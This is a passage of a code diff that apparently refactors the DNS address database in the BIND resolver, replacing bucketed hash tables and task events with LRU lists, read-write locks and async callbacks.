+ * Requires the name to be locked and no entries to be locked.
+ */
+static void
+maybe_expire_namehooks(dns_adbname_t *adbname, isc_stdtime_t now) {
+	REQUIRE(DNS_ADBNAME_VALID(adbname));
+	REQUIRE(DNS_ADB_VALID(adbname->adb));
+
+	dns_adb_t *adb = adbname->adb;
 
 	/*
-	 * Move names to new arrays.
+	 * Check to see if we need to remove the v4 addresses
 	 */
-	for (i = 0; i < adb->nnames; i++) {
-		name = ISC_LIST_HEAD(adb->names[i]);
-		while (name != NULL) {
-			ISC_LIST_UNLINK(adb->names[i], name, plink);
-			bucket = dns_name_fullhash(&name->name, true) % n;
-			name->lock_bucket = bucket;
-			ISC_LIST_APPEND(newnames[bucket], name, plink);
-			INSIST(adb->name_refcnt[i] > 0);
-			adb->name_refcnt[i]--;
-			newname_refcnt[bucket]++;
-			name = ISC_LIST_HEAD(adb->names[i]);
+	if (!NAME_FETCH_A(adbname) && EXPIRE_OK(adbname->expire_v4, now)) {
+		if (NAME_HAS_V4(adbname)) {
+			DP(DEF_LEVEL, "expiring v4 for name %p", adbname);
+			clean_namehooks(adb, &adbname->v4);
+			adbname->partial_result &= ~DNS_ADBFIND_INET;
 		}
-		name = ISC_LIST_HEAD(adb->deadnames[i]);
-		while (name != NULL) {
-			ISC_LIST_UNLINK(adb->deadnames[i], name, plink);
-			bucket = dns_name_fullhash(&name->name, true) % n;
-			name->lock_bucket = bucket;
-			ISC_LIST_APPEND(newdeadnames[bucket], name, plink);
-			INSIST(adb->name_refcnt[i] > 0);
-			adb->name_refcnt[i]--;
-			newname_refcnt[bucket]++;
-			name = ISC_LIST_HEAD(adb->deadnames[i]);
-		}
-		INSIST(adb->name_refcnt[i] == 0);
-		adb->irefcnt--;
+		adbname->expire_v4 = INT_MAX;
+		adbname->fetch_err = FIND_ERR_UNEXPECTED;
 	}
 
 	/*
-	 * Cleanup old resources.
+	 * Check to see if we need to remove the v6 addresses
 	 */
-	isc_mutexblock_destroy(adb->namelocks, adb->nnames);
-	isc_mem_put(adb->mctx, adb->names, sizeof(*adb->names) * adb->nnames);
-	isc_mem_put(adb->mctx, adb->deadnames,
-		    sizeof(*adb->deadnames) * adb->nnames);
-	isc_mem_put(adb->mctx, adb->namelocks,
-		    sizeof(*adb->namelocks) * adb->nnames);
-	isc_mem_put(adb->mctx, adb->name_sd,
-		    sizeof(*adb->name_sd) * adb->nnames);
-	isc_mem_put(adb->mctx, adb->name_refcnt,
-		    sizeof(*adb->name_refcnt) * adb->nnames);
+	if (!NAME_FETCH_AAAA(adbname) && EXPIRE_OK(adbname->expire_v6, now)) {
+		if (NAME_HAS_V6(adbname)) {
+			DP(DEF_LEVEL, "expiring v6 for name %p", adbname);
+			clean_namehooks(adb, &adbname->v6);
+			adbname->partial_result &= ~DNS_ADBFIND_INET6;
+		}
+		adbname->expire_v6 = INT_MAX;
+		adbname->fetch6_err = FIND_ERR_UNEXPECTED;
+	}
 
 	/*
-	 * Install new resources.
+	 * Check to see if we need to remove the alias target.
 	 */
-	adb->names = newnames;
-	adb->deadnames = newdeadnames;
-	adb->namelocks = newnamelocks;
-	adb->name_sd = newname_sd;
-	adb->name_refcnt = newname_refcnt;
-	adb->nnames = n;
-
-	set_adbstat(adb, adb->nnames, dns_adbstats_nnames);
+	if (EXPIRE_OK(adbname->expire_target, now)) {
+		clean_target(adb, &adbname->target);
+		adbname->expire_target = INT_MAX;
+	}
+}
 
-	/*
-	 * Only on success do we set adb->grownames_sent to false.
-	 * This will prevent us being continuously being called on error.
-	 */
-	adb->grownames_sent = false;
-	goto done;
+static void
+shutdown_names(dns_adb_t *adb) {
+	dns_adbname_t *next = NULL;
 
-cleanup:
-	if (newnames != NULL) {
-		isc_mem_put(adb->mctx, newnames, sizeof(*newnames) * n);
-	}
-	if (newdeadnames != NULL) {
-		isc_mem_put(adb->mctx, newdeadnames, sizeof(*newdeadnames) * n);
-	}
-	if (newnamelocks != NULL) {
-		isc_mem_put(adb->mctx, newnamelocks, sizeof(*newnamelocks) * n);
-	}
-	if (newname_sd != NULL) {
-		isc_mem_put(adb->mctx, newname_sd, sizeof(*newname_sd) * n);
-	}
-	if (newname_refcnt != NULL) {
-		isc_mem_put(adb->mctx, newname_refcnt,
-			    sizeof(*newname_refcnt) * n);
+	RWLOCK(&adb->names_lock, isc_rwlocktype_write);
+	for (dns_adbname_t *name = ISC_LIST_HEAD(adb->names_lru); name != NULL;
+	     name = next)
+	{
+		next = ISC_LIST_NEXT(name, link);
+		dns_adbname_ref(name);
+		LOCK(&name->lock);
+		/*
+		 * Run through the list.  For each name, clean up finds
+		 * found there, and cancel any fetches running.  When
+		 * all the fetches are canceled, the name will destroy
+		 * itself.
+		 */
+		expire_name(name, DNS_ADB_SHUTTINGDOWN);
+		UNLOCK(&name->lock);
+		dns_adbname_detach(&name);
 	}
-done:
-	isc_task_endexclusive(task);
+	RWUNLOCK(&adb->names_lock, isc_rwlocktype_write);
+}
 
-check_exit:
-	LOCK(&adb->lock);
-	if (dec_adb_irefcnt(adb)) {
-		check_exit(adb);
+static void
+shutdown_entries(dns_adb_t *adb) {
+	dns_adbentry_t *next = NULL;
+	RWLOCK(&adb->entries_lock, isc_rwlocktype_write);
+	for (dns_adbentry_t *adbentry = ISC_LIST_HEAD(adb->entries_lru);
+	     adbentry != NULL; adbentry = next)
+	{
+		next = ISC_LIST_NEXT(adbentry, link);
+		expire_entry(adbentry);
 	}
-	UNLOCK(&adb->lock);
-	DP(ISC_LOG_INFO, "adb: grow_names finished");
+	RWUNLOCK(&adb->entries_lock, isc_rwlocktype_write);
 }
 
 /*
- * Requires the adbname bucket be locked and that no entry buckets be locked.
- *
- * This code handles A and AAAA rdatasets only.
+ * The name containing the 'namehooks' list must be locked.
  */
-static isc_result_t
-import_rdataset(dns_adbname_t *adbname, dns_rdataset_t *rdataset,
-		isc_stdtime_t now) {
-	isc_result_t result;
-	dns_adb_t *adb;
-	dns_adbnamehook_t *nh;
-	dns_adbnamehook_t *anh;
-	dns_rdata_t rdata = DNS_RDATA_INIT;
-	struct in_addr ina;
-	struct in6_addr in6a;
-	isc_sockaddr_t sockaddr;
-	dns_adbentry_t *foundentry; /* NO CLEAN UP! */
-	int addr_bucket;
-	bool new_addresses_added;
-	dns_rdatatype_t rdtype;
-	unsigned int findoptions;
-	dns_adbnamehooklist_t *hookhead;
-
-	INSIST(DNS_ADBNAME_VALID(adbname));
-	adb = adbname->adb;
-	INSIST(DNS_ADB_VALID(adb));
-
-	rdtype = rdataset->type;
-	INSIST((rdtype == dns_rdatatype_a) || (rdtype == dns_rdatatype_aaaa));
-	if (rdtype == dns_rdatatype_a) {
-		findoptions = DNS_ADBFIND_INET;
-	} else {
-		findoptions = DNS_ADBFIND_INET6;
-	}
+static void
+clean_namehooks(dns_adb_t *adb, dns_adbnamehooklist_t *namehooks) {
+	dns_adbnamehook_t *namehook = NULL;
 
-	addr_bucket = DNS_ADB_INVALIDBUCKET;
-	new_addresses_added = false;
+	namehook = ISC_LIST_HEAD(*namehooks);
+	while (namehook != NULL) {
+		INSIST(DNS_ADBNAMEHOOK_VALID(namehook));
+		INSIST(DNS_ADBENTRY_VALID(namehook->entry));
 
-	nh = NULL;
-	result = dns_rdataset_first(rdataset);
-	while (result == ISC_R_SUCCESS) {
-		dns_rdata_reset(&rdata);
-		dns_rdataset_current(rdataset, &rdata);
-		if (rdtype == dns_rdatatype_a) {
-			INSIST(rdata.length == 4);
-			memmove(&ina.s_addr, rdata.data, 4);
-			isc_sockaddr_fromin(&sockaddr, &ina, 0);
-			hookhead = &adbname->v4;
-		} else {
-			INSIST(rdata.length == 16);
-			memmove(in6a.s6_addr, rdata.data, 16);
-			isc_sockaddr_fromin6(&sockaddr, &in6a, 0);
-			hookhead = &adbname->v6;
-		}
+		dns_adbentry_t *adbentry = namehook->entry;
+		namehook->entry = NULL;
 
-		INSIST(nh == NULL);
-		nh = new_adbnamehook(adb, NULL);
-		if (nh == NULL) {
-			adbname->partial_result |= findoptions;
-			result = ISC_R_NOMEMORY;
-			goto fail;
-		}
+		/*
+		 * Free the namehook
+		 */
+		ISC_LIST_UNLINK(*namehooks, namehook, name_link);
 
-		foundentry = find_entry_and_lock(adb, &sockaddr, &addr_bucket,
-						 now);
-		if (foundentry == NULL) {
-			dns_adbentry_t *entry;
+		LOCK(&adbentry->lock);
+		ISC_LIST_UNLINK(adbentry->nhs, namehook, entry_link);
+		UNLOCK(&adbentry->lock);
+		dns_adbentry_detach(&adbentry);
 
-			entry = new_adbentry(adb);
-			if (entry == NULL) {
-				adbname->partial_result |= findoptions;
-				result = ISC_R_NOMEMORY;
-				goto fail;
-			}
+		free_adbnamehook(adb, &namehook);
 
-			entry->sockaddr = sockaddr;
-			entry->refcnt = 1;
-			entry->nh = 1;
-
-			nh->entry = entry;
-
-			link_entry(adb, addr_bucket, entry);
-		} else {
-			for (anh = ISC_LIST_HEAD(*hookhead); anh != NULL;
-			     anh = ISC_LIST_NEXT(anh, plink))
-			{
-				if (anh->entry == foundentry) {
-					break;
-				}
-			}
-			if (anh == NULL) {
-				foundentry->refcnt++;
-				foundentry->nh++;
-				nh->entry = foundentry;
-			} else {
-				free_adbnamehook(adb, &nh);
-			}
-		}
-
-		new_addresses_added = true;
-		if (nh != NULL) {
-			ISC_LIST_APPEND(*hookhead, nh, plink);
-		}
-		nh = NULL;
-		result = dns_rdataset_next(rdataset);
-	}
-
-fail:
-	if (nh != NULL) {
-		free_adbnamehook(adb, &nh);
-	}
-
-	if (addr_bucket != DNS_ADB_INVALIDBUCKET) {
-		UNLOCK(&adb->entrylocks[addr_bucket]);
-	}
-
-	if (rdataset->trust == dns_trust_glue ||
-	    rdataset->trust == dns_trust_additional)
-	{
-		rdataset->ttl = ADB_CACHE_MINIMUM;
-	} else if (rdataset->trust == dns_trust_ultimate) {
-		rdataset->ttl = 0;
-	} else {
-		rdataset->ttl = ttlclamp(rdataset->ttl);
-	}
-
-	if (rdtype == dns_rdatatype_a) {
-		DP(NCACHE_LEVEL, "expire_v4 set to MIN(%u,%u) import_rdataset",
-		   adbname->expire_v4, now + rdataset->ttl);
-		adbname->expire_v4 = ISC_MIN(
-			adbname->expire_v4,
-			ISC_MIN(now + ADB_ENTRY_WINDOW, now + rdataset->ttl));
-	} else {
-		DP(NCACHE_LEVEL, "expire_v6 set to MIN(%u,%u) import_rdataset",
-		   adbname->expire_v6, now + rdataset->ttl);
-		adbname->expire_v6 = ISC_MIN(
-			adbname->expire_v6,
-			ISC_MIN(now + ADB_ENTRY_WINDOW, now + rdataset->ttl));
-	}
-
-	if (new_addresses_added) {
-		/*
-		 * Lie a little here.  This is more or less so code that cares
-		 * can find out if any new information was added or not.
-		 */
-		return (ISC_R_SUCCESS);
-	}
-
-	return (result);
-}
-
-/*
- * Requires the name's bucket be locked.
- */
-static bool
-kill_name(dns_adbname_t **n, isc_eventtype_t ev) {
-	dns_adbname_t *name;
-	bool result = false;
-	bool result4, result6;
-	int bucket;
-	dns_adb_t *adb;
-
-	INSIST(n != NULL);
-	name = *n;
-	*n = NULL;
-	INSIST(DNS_ADBNAME_VALID(name));
-	adb = name->adb;
-	INSIST(DNS_ADB_VALID(adb));
-
-	DP(DEF_LEVEL, "killing name %p", name);
-
-	/*
-	 * If we're dead already, just check to see if we should go
-	 * away now or not.
-	 */
-	if (NAME_DEAD(name) && !NAME_FETCH(name)) {
-		result = unlink_name(adb, name);
-		free_adbname(adb, &name);
-		if (result) {
-			result = dec_adb_irefcnt(adb);
-		}
-		return (result);
-	}
-
-	/*
-	 * Clean up the name's various lists.  These two are destructive
-	 * in that they will always empty the list.
-	 */
-	clean_finds_at_name(name, ev, DNS_ADBFIND_ADDRESSMASK);
-	result4 = clean_namehooks(adb, &name->v4);
-	result6 = clean_namehooks(adb, &name->v6);
-	clean_target(adb, &name->target);
-	result = (result4 || result6);
-
-	/*
-	 * If fetches are running, cancel them.  If none are running, we can
-	 * just kill the name here.
-	 */
-	if (!NAME_FETCH(name)) {
-		INSIST(!result);
-		result = unlink_name(adb, name);
-		free_adbname(adb, &name);
-		if (result) {
-			result = dec_adb_irefcnt(adb);
-		}
-	} else {
-		cancel_fetches_at_name(name);
-		if (!NAME_DEAD(name)) {
-			bucket = name->lock_bucket;
-			ISC_LIST_UNLINK(adb->names[bucket], name, plink);
-			ISC_LIST_APPEND(adb->deadnames[bucket], name, plink);
-			name->flags |= NAME_IS_DEAD;
-		}
-	}
-	return (result);
-}
-
-/*
- * Requires the name's bucket be locked and no entry buckets be locked.
- */
-static bool
-check_expire_namehooks(dns_adbname_t *name, isc_stdtime_t now) {
-	dns_adb_t *adb;
-	bool result4 = false;
-	bool result6 = false;
-
-	INSIST(DNS_ADBNAME_VALID(name));
-	adb = name->adb;
-	INSIST(DNS_ADB_VALID(adb));
-
-	/*
-	 * Check to see if we need to remove the v4 addresses
-	 */
-	if (!NAME_FETCH_V4(name) && EXPIRE_OK(name->expire_v4, now)) {
-		if (NAME_HAS_V4(name)) {
-			DP(DEF_LEVEL, "expiring v4 for name %p", name);
-			result4 = clean_namehooks(adb, &name->v4);
-			name->partial_result &= ~DNS_ADBFIND_INET;
-		}
-		name->expire_v4 = INT_MAX;
-		name->fetch_err = FIND_ERR_UNEXPECTED;
-	}
-
-	/*
-	 * Check to see if we need to remove the v6 addresses
-	 */
-	if (!NAME_FETCH_V6(name) && EXPIRE_OK(name->expire_v6, now)) {
-		if (NAME_HAS_V6(name)) {
-			DP(DEF_LEVEL, "expiring v6 for name %p", name);
-			result6 = clean_namehooks(adb, &name->v6);
-			name->partial_result &= ~DNS_ADBFIND_INET6;
-		}
-		name->expire_v6 = INT_MAX;
-		name->fetch6_err = FIND_ERR_UNEXPECTED;
-	}
-
-	/*
-	 * Check to see if we need to remove the alias target.
-	 */
-	if (EXPIRE_OK(name->expire_target, now)) {
-		clean_target(adb, &name->target);
-		name->expire_target = INT_MAX;
-	}
-	return (result4 || result6);
-}
-
-/*
- * Requires the name's bucket be locked.
- */
-static inline void
-link_name(dns_adb_t *adb, int bucket, dns_adbname_t *name) {
-	INSIST(name->lock_bucket == DNS_ADB_INVALIDBUCKET);
-
-	ISC_LIST_PREPEND(adb->names[bucket], name, plink);
-	name->lock_bucket = bucket;
-	adb->name_refcnt[bucket]++;
-}
-
-/*
- * Requires the name's bucket be locked.
- */
-static inline bool
-unlink_name(dns_adb_t *adb, dns_adbname_t *name) {
-	int bucket;
-	bool result = false;
-
-	bucket = name->lock_bucket;
-	INSIST(bucket != DNS_ADB_INVALIDBUCKET);
-
-	if (NAME_DEAD(name)) {
-		ISC_LIST_UNLINK(adb->deadnames[bucket], name, plink);
-	} else {
-		ISC_LIST_UNLINK(adb->names[bucket], name, plink);
-	}
-	name->lock_bucket = DNS_ADB_INVALIDBUCKET;
-	INSIST(adb->name_refcnt[bucket] > 0);
-	adb->name_refcnt[bucket]--;
-	if (adb->name_sd[bucket] && adb->name_refcnt[bucket] == 0) {
-		result = true;
-	}
-	return (result);
-}
-
-/*
- * Requires the entry's bucket be locked.
- */
-static inline void
-link_entry(dns_adb_t *adb, int bucket, dns_adbentry_t *entry) {
-	int i;
-	dns_adbentry_t *e;
-
-	if (isc_mem_isovermem(adb->mctx)) {
-		for (i = 0; i < 2; i++) {
-			e = ISC_LIST_TAIL(adb->entries[bucket]);
-			if (e == NULL) {
-				break;
-			}
-			if (e->refcnt == 0) {
-				unlink_entry(adb, e);
-				free_adbentry(adb, &e);
-				continue;
-			}
-			INSIST((e->flags & ENTRY_IS_DEAD) == 0);
-			e->flags |= ENTRY_IS_DEAD;
-			ISC_LIST_UNLINK(adb->entries[bucket], e, plink);
-			ISC_LIST_PREPEND(adb->deadentries[bucket], e, plink);
-		}
-	}
-
-	ISC_LIST_PREPEND(adb->entries[bucket], entry, plink);
-	entry->lock_bucket = bucket;
-	adb->entry_refcnt[bucket]++;
-}
-
-/*
- * Requires the entry's bucket be locked.
- */
-static inline bool
-unlink_entry(dns_adb_t *adb, dns_adbentry_t *entry) {
-	int bucket;
-	bool result = false;
-
-	bucket = entry->lock_bucket;
-	INSIST(bucket != DNS_ADB_INVALIDBUCKET);
-
-	if ((entry->flags & ENTRY_IS_DEAD) != 0) {
-		ISC_LIST_UNLINK(adb->deadentries[bucket], entry, plink);
-	} else {
-		ISC_LIST_UNLINK(adb->entries[bucket], entry, plink);
-	}
-	entry->lock_bucket = DNS_ADB_INVALIDBUCKET;
-	INSIST(adb->entry_refcnt[bucket] > 0);
-	adb->entry_refcnt[bucket]--;
-	if (adb->entry_sd[bucket] && adb->entry_refcnt[bucket] == 0) {
-		result = true;
-	}
-	return (result);
-}
-
-static inline void
-violate_locking_hierarchy(isc_mutex_t *have, isc_mutex_t *want) {
-	if (isc_mutex_trylock(want) != ISC_R_SUCCESS) {
-		UNLOCK(have);
-		LOCK(want);
-		LOCK(have);
-	}
-}
-
-/*
- * The ADB _MUST_ be locked before calling.  Also, exit conditions must be
- * checked after calling this function.
- */
-static bool
-shutdown_names(dns_adb_t *adb) {
-	unsigned int bucket;
-	bool result = false;
-	dns_adbname_t *name;
-	dns_adbname_t *next_name;
-
-	for (bucket = 0; bucket < adb->nnames; bucket++) {
-		LOCK(&adb->namelocks[bucket]);
-		adb->name_sd[bucket] = true;
-
-		name = ISC_LIST_HEAD(adb->names[bucket]);
-		if (name == NULL) {
-			/*
-			 * This bucket has no names.  We must decrement the
-			 * irefcnt ourselves, since it will not be
-			 * automatically triggered by a name being unlinked.
-			 */
-			INSIST(!result);
-			result = dec_adb_irefcnt(adb);
-		} else {
-			/*
-			 * Run through the list.  For each name, clean up finds
-			 * found there, and cancel any fetches running.  When
-			 * all the fetches are canceled, the name will destroy
-			 * itself.
-			 */
-			while (name != NULL) {
-				next_name = ISC_LIST_NEXT(name, plink);
-				INSIST(!result);
-				result = kill_name(&name,
-						   DNS_EVENT_ADBSHUTDOWN);
-				name = next_name;
-			}
-		}
-
-		UNLOCK(&adb->namelocks[bucket]);
-	}
-	return (result);
-}
-
-/*
- * The ADB _MUST_ be locked before calling.  Also, exit conditions must be
- * checked after calling this function.
- */
-static bool
-shutdown_entries(dns_adb_t *adb) {
-	unsigned int bucket;
-	bool result = false;
-	dns_adbentry_t *entry;
-	dns_adbentry_t *next_entry;
-
-	for (bucket = 0; bucket < adb->nentries; bucket++) {
-		LOCK(&adb->entrylocks[bucket]);
-		adb->entry_sd[bucket] = true;
-
-		entry = ISC_LIST_HEAD(adb->entries[bucket]);
-		if (adb->entry_refcnt[bucket] == 0) {
-			/*
-			 * This bucket has no entries.  We must decrement the
-			 * irefcnt ourselves, since it will not be
-			 * automatically triggered by an entry being unlinked.
-			 */
-			result = dec_adb_irefcnt(adb);
-		} else {
-			/*
-			 * Run through the list.  Cleanup any entries not
-			 * associated with names, and which are not in use.
-			 */
-			while (entry != NULL) {
-				next_entry = ISC_LIST_NEXT(entry, plink);
-				if (entry->refcnt == 0 && entry->expires != 0) {
-					result = unlink_entry(adb, entry);
-					free_adbentry(adb, &entry);
-					if (result) {
-						result = dec_adb_irefcnt(adb);
-					}
-				}
-				entry = next_entry;
-			}
-		}
-
-		UNLOCK(&adb->entrylocks[bucket]);
-	}
-	return (result);
-}
-
-/*
- * Name bucket must be locked
- */
-static void
-cancel_fetches_at_name(dns_adbname_t *name) {
-	if (NAME_FETCH_A(name)) {
-		dns_resolver_cancelfetch(name->fetch_a->fetch);
-	}
-
-	if (NAME_FETCH_AAAA(name)) {
-		dns_resolver_cancelfetch(name->fetch_aaaa->fetch);
-	}
-}
-
-/*
- * Assumes the name bucket is locked.
- */
-static bool
-clean_namehooks(dns_adb_t *adb, dns_adbnamehooklist_t *namehooks) {
-	dns_adbentry_t *entry;
-	dns_adbnamehook_t *namehook;
-	int addr_bucket;
-	bool result = false;
-	bool overmem = isc_mem_isovermem(adb->mctx);
-
-	addr_bucket = DNS_ADB_INVALIDBUCKET;
-	namehook = ISC_LIST_HEAD(*namehooks);
-	while (namehook != NULL) {
-		INSIST(DNS_ADBNAMEHOOK_VALID(namehook));
-
-		/*
-		 * Clean up the entry if needed.
-		 */
-		entry = namehook->entry;
-		if (entry != NULL) {
-			INSIST(DNS_ADBENTRY_VALID(entry));
-
-			if (addr_bucket != entry->lock_bucket) {
-				if (addr_bucket != DNS_ADB_INVALIDBUCKET) {
-					UNLOCK(&adb->entrylocks[addr_bucket]);
-				}
-				addr_bucket = entry->lock_bucket;
-				INSIST(addr_bucket != DNS_ADB_INVALIDBUCKET);
-				LOCK(&adb->entrylocks[addr_bucket]);
-			}
-
-			entry->nh--;
-			result = dec_entry_refcnt(adb, overmem, entry, false);
-		}
-
-		/*
-		 * Free the namehook
-		 */
-		namehook->entry = NULL;
-		ISC_LIST_UNLINK(*namehooks, namehook, plink);
-		free_adbnamehook(adb, &namehook);
-
-		namehook = ISC_LIST_HEAD(*namehooks);
-	}
-
-	if (addr_bucket != DNS_ADB_INVALIDBUCKET) {
-		UNLOCK(&adb->entrylocks[addr_bucket]);
-	}
-	return (result);
-}
+		namehook = ISC_LIST_HEAD(*namehooks);
+	}
+}
 
 static void
 clean_target(dns_adb_t *adb, dns_name_t *target) {
@@ -1443,12 +854,7 @@ static isc_result_t
 set_target(dns_adb_t *adb, const dns_name_t *name, const dns_name_t *fname,
 	   dns_rdataset_t *rdataset, dns_name_t *target) {
 	isc_result_t result;
-	dns_namereln_t namereln;
-	unsigned int nlabels;
-	int order;
 	dns_rdata_t rdata = DNS_RDATA_INIT;
-	dns_fixedname_t fixed1, fixed2;
-	dns_name_t *prefix, *new_target;
 
 	REQUIRE(dns_name_countlabels(target) == 0);
 
@@ -1470,11 +876,17 @@ set_target(dns_adb_t *adb, const dns_name_t *name, const dns_name_t *fname,
 		dns_name_dup(&cname.cname, adb->mctx, target);
 		dns_rdata_freestruct(&cname);
 	} else {
+		dns_fixedname_t fixed1, fixed2;
+		dns_name_t *prefix = NULL, *new_target = NULL;
 		dns_rdata_dname_t dname;
+		dns_namereln_t namereln;
+		unsigned int nlabels;
+		int order;
 
 		INSIST(rdataset->type == dns_rdatatype_dname);
 		namereln = dns_name_fullcompare(name, fname, &order, &nlabels);
 		INSIST(namereln == dns_namereln_subdomain);
+
 		/*
 		 * Get the target name of the DNAME.
 		 */
@@ -1487,6 +899,7 @@ set_target(dns_adb_t *adb, const dns_name_t *name, const dns_name_t *fname,
 		if (result != ISC_R_SUCCESS) {
 			return (result);
 		}
+
 		/*
 		 * Construct the new target name.
 		 */
@@ -1506,58 +919,37 @@ set_target(dns_adb_t *adb, const dns_name_t *name, const dns_name_t *fname,
 }
 
 /*
- * Assumes nothing is locked, since this is called by the client.
+ * The name must be locked.
  */
 static void
-event_free(isc_event_t *event) {
-	dns_adbfind_t *find;
-
-	INSIST(event != NULL);
-	find = event->ev_destroy_arg;
-	INSIST(DNS_ADBFIND_VALID(find));
-
-	LOCK(&find->lock);
-	find->flags |= FIND_EVENT_FREED;
-	event->ev_destroy_arg = NULL;
-	UNLOCK(&find->lock);
-}
-
-/*
- * Assumes the name bucket is locked.
- */
-static void
-clean_finds_at_name(dns_adbname_t *name, isc_eventtype_t evtype,
+clean_finds_at_name(dns_adbname_t *name, dns_adbstatus_t astat,
 		    unsigned int addrs) {
-	isc_event_t *ev;
-	isc_task_t *task;
-	dns_adbfind_t *find;
-	dns_adbfind_t *next_find;
-	bool process;
-	unsigned int wanted, notify;
+	dns_adbfind_t *find = NULL, *next = NULL;
 
 	DP(ENTER_LEVEL,
-	   "ENTER clean_finds_at_name, name %p, evtype %08x, addrs %08x", name,
-	   evtype, addrs);
+	   "ENTER clean_finds_at_name, name %p, astat %08x, addrs %08x", name,
+	   astat, addrs);
+
+	for (find = ISC_LIST_HEAD(name->finds); find != NULL; find = next) {
+		bool process = false;
+		unsigned int wanted, notify;
 
-	find = ISC_LIST_HEAD(name->finds);
-	while (find != NULL) {
 		LOCK(&find->lock);
-		next_find = ISC_LIST_NEXT(find, plink);
+		next = ISC_LIST_NEXT(find, plink);
 
-		process = false;
 		wanted = find->flags & DNS_ADBFIND_ADDRESSMASK;
 		notify = wanted & addrs;
 
-		switch (evtype) {
-		case DNS_EVENT_ADBMOREADDRESSES:
-			DP(ISC_LOG_DEBUG(3), "DNS_EVENT_ADBMOREADDRESSES");
+		switch (astat) {
+		case DNS_ADB_MOREADDRESSES:
+			DP(ISC_LOG_DEBUG(3), "more addresses");
 			if ((notify) != 0) {
 				find->flags &= ~addrs;
 				process = true;
 			}
 			break;
-		case DNS_EVENT_ADBNOMOREADDRESSES:
-			DP(ISC_LOG_DEBUG(3), "DNS_EVENT_ADBNOMOREADDRESSES");
+		case DNS_ADB_NOMOREADDRESSES:
+			DP(ISC_LOG_DEBUG(3), "no more addresses");
 			find->flags &= ~addrs;
 			wanted = find->flags & DNS_ADBFIND_ADDRESSMASK;
 			if (wanted == 0) {
@@ -1571,6 +963,7 @@ clean_finds_at_name(dns_adbname_t *name, isc_eventtype_t evtype,
 
 		if (process) {
 			DP(DEF_LEVEL, "cfan: processing find %p", find);
+
 			/*
 			 * Unlink the find from the name, letting the caller
 			 * call dns_adb_destroyfind() on it to clean it up
@@ -1578,270 +971,131 @@ clean_finds_at_name(dns_adbname_t *name, isc_eventtype_t evtype,
 			 */
 			ISC_LIST_UNLINK(name->finds, find, plink);
 			find->adbname = NULL;
-			find->name_bucket = DNS_ADB_INVALIDBUCKET;
 
 			INSIST(!FIND_EVENTSENT(find));
 
-			ev = &find->event;
-			task = ev->ev_sender;
-			ev->ev_sender = find;
 			find->result_v4 = find_err_map[name->fetch_err];
 			find->result_v6 = find_err_map[name->fetch6_err];
-			ev->ev_type = evtype;
-			ev->ev_destroy = event_free;
-			ev->ev_destroy_arg = find;
+			find->status = astat;
 
-			DP(DEF_LEVEL, "sending event %p to task %p for find %p",
-			   ev, task, find);
+			DP(DEF_LEVEL, "cfan: sending find %p to caller", find);
 
-			isc_task_sendanddetach(&task, (isc_event_t **)&ev);
+			isc_async_run(find->loop, find->cb, find);
 			find->flags |= FIND_EVENT_SENT;
 		} else {
 			DP(DEF_LEVEL, "cfan: skipping find %p", find);
 		}
 
 		UNLOCK(&find->lock);
-		find = next_find;
 	}
 	DP(ENTER_LEVEL, "EXIT clean_finds_at_name, name %p", name);
 }
 
-static inline void
-check_exit(dns_adb_t *adb) {
-	isc_event_t *event;
-	/*
-	 * The caller must be holding the adb lock.
-	 */
-	if (adb->shutting_down) {
-		/*
-		 * If there aren't any external references either, we're
-		 * done.  Send the control event to initiate shutdown.
-		 */
-		INSIST(!adb->cevent_out); /* Sanity check. */
-		ISC_EVENT_INIT(&adb->cevent, sizeof(adb->cevent), 0, NULL,
-			       DNS_EVENT_ADBCONTROL, shutdown_task, adb, adb,
-			       NULL, NULL);
-		event = &adb->cevent;
-		isc_task_send(adb->task, &event);
-		adb->cevent_out = true;
-	}
-}
-
-static inline bool
-dec_adb_irefcnt(dns_adb_t *adb) {
-	isc_event_t *event;
-	isc_task_t *etask;
-	bool result = false;
-
-	LOCK(&adb->reflock);
-
-	INSIST(adb->irefcnt > 0);
-	adb->irefcnt--;
-
-	if (adb->irefcnt == 0) {
-		event = ISC_LIST_HEAD(adb->whenshutdown);
-		while (event != NULL) {
-			ISC_LIST_UNLINK(adb->whenshutdown, event, ev_link);
-			etask = event->ev_sender;
-			event->ev_sender = adb;
-			isc_task_sendanddetach(&etask, &event);
-			event = ISC_LIST_HEAD(adb->whenshutdown);
-		}
-	}
-
-	if (adb->irefcnt == 0 && adb->erefcnt == 0) {
-		result = true;
-	}
-	UNLOCK(&adb->reflock);
-	return (result);
-}
-
-static inline void
-inc_adb_irefcnt(dns_adb_t *adb) {
-	LOCK(&adb->reflock);
-	adb->irefcnt++;
-	UNLOCK(&adb->reflock);
-}
-
-static inline void
-inc_adb_erefcnt(dns_adb_t *adb) {
-	LOCK(&adb->reflock);
-	adb->erefcnt++;
-	UNLOCK(&adb->reflock);
-}
-
-static inline void
-inc_entry_refcnt(dns_adb_t *adb, dns_adbentry_t *entry, bool lock) {
-	int bucket;
-
-	bucket = entry->lock_bucket;
-
-	if (lock) {
-		LOCK(&adb->entrylocks[bucket]);
-	}
-
-	entry->refcnt++;
-
-	if (lock) {
-		UNLOCK(&adb->entrylocks[bucket]);
-	}
-}
-
-static inline bool
-dec_entry_refcnt(dns_adb_t *adb, bool overmem, dns_adbentry_t *entry,
-		 bool lock) {
-	int bucket;
-	bool destroy_entry;
-	bool result = false;
-
-	bucket = entry->lock_bucket;
-
-	if (lock) {
-		LOCK(&adb->entrylocks[bucket]);
-	}
-
-	INSIST(entry->refcnt > 0);
-	entry->refcnt--;
-
-	destroy_entry = false;
-	if (entry->refcnt == 0 &&
-	    (adb->entry_sd[bucket] || entry->expires == 0 || overmem ||
-	     (entry->flags & ENTRY_IS_DEAD) != 0))
-	{
-		destroy_entry = true;
-		result = unlink_entry(adb, entry);
-	}
-
-	if (lock) {
-		UNLOCK(&adb->entrylocks[bucket]);
-	}
-
-	if (!destroy_entry) {
-		return (result);
-	}
+static dns_adbname_t *
+new_adbname(dns_adb_t *adb, const dns_name_t *dnsname, bool start_at_zone) {
+	dns_adbname_t *name = NULL;
+
+	name = isc_mem_get(adb->mctx, sizeof(*name));
+	*name = (dns_adbname_t){
+		.adb = dns_adb_ref(adb),
+		.expire_v4 = INT_MAX,
+		.expire_v6 = INT_MAX,
+		.expire_target = INT_MAX,
+		.fetch_err = FIND_ERR_UNEXPECTED,
+		.fetch6_err = FIND_ERR_UNEXPECTED,
+		.v4 = ISC_LIST_INITIALIZER,
+		.v6 = ISC_LIST_INITIALIZER,
+		.finds = ISC_LIST_INITIALIZER,
+		.link = ISC_LINK_INITIALIZER,
